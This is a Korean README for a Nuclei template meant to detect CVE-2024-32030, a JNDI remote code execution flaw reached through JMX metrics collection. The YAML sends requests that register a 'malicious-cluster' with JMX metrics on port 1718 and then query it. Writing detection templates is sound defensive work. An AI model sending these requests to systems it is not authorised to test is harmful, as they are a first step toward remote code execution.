CVE-2024-32030 Nuclei 템플릿

설명

이 저장소는 CVE-2024-32030 취약점을 탐지하기 위한 Nuclei 템플릿을 포함합니다. 해당 취약점은 JMX 메트릭 수집 JNDI 해석을 통한 원격 코드 실행을 허용합니다.

취약점 세부 정보

ID: CVE-2024-32030
이름: JMX Metrics Collection JNDI RCE
작성자: Hüseyin TINTAŞ
심각도: 심각
설명: 이 템플릿은 악의적인 JMX 서버에 연결을 시도하여 취약점 존재 여부를 확인합니다.
태그: cve, cve2024, jmx, rce, cve2024-32030

템플릿

id: CVE-2024-32030

info:
  name: CVE-2024-32030 JMX Metrics Collection JNDI RCE
  author: Hüseyin TINTAŞ
  severity: critical
  description: >
    CVE-2024-32030 JMX Metrics Collection JNDI Resolution Remote Code Execution Vulnerability.
    This template checks for the presence of the vulnerability by attempting to connect to a malicious JMX server.
  tags: cve, cve2024, jmx, rce, cve2024-32030

requests:
  - method: POST
    path:
      - "{{BaseURL}}/api/clusters"
    headers:
      Content-Type: "application/json"
    body: |
      {
        "name": "malicious-cluster",
        "bootstrapServers": ["127.0.0.1:1718"],
        "metrics": {
          "type": "JMX",
          "port": 1718
        }
      }
    matchers:
      - type: word
        part: body
        words:
          - "malicious-cluster added successfully"

  - method: GET
    path:
      - "{{BaseURL}}/api/clusters/malicious-cluster"
    matchers:
      - type: word
        part: body
        words:
          - "malicious-cluster"

  - method: GET
    path:
      - "{{BaseURL}}/api/clusters/malicious-cluster/metrics"
    matchers:
      - type: word
        part: body
        words:
          - "metrics"

CVE-2024-32030-Nuclei-Template

인기

사용법

연락처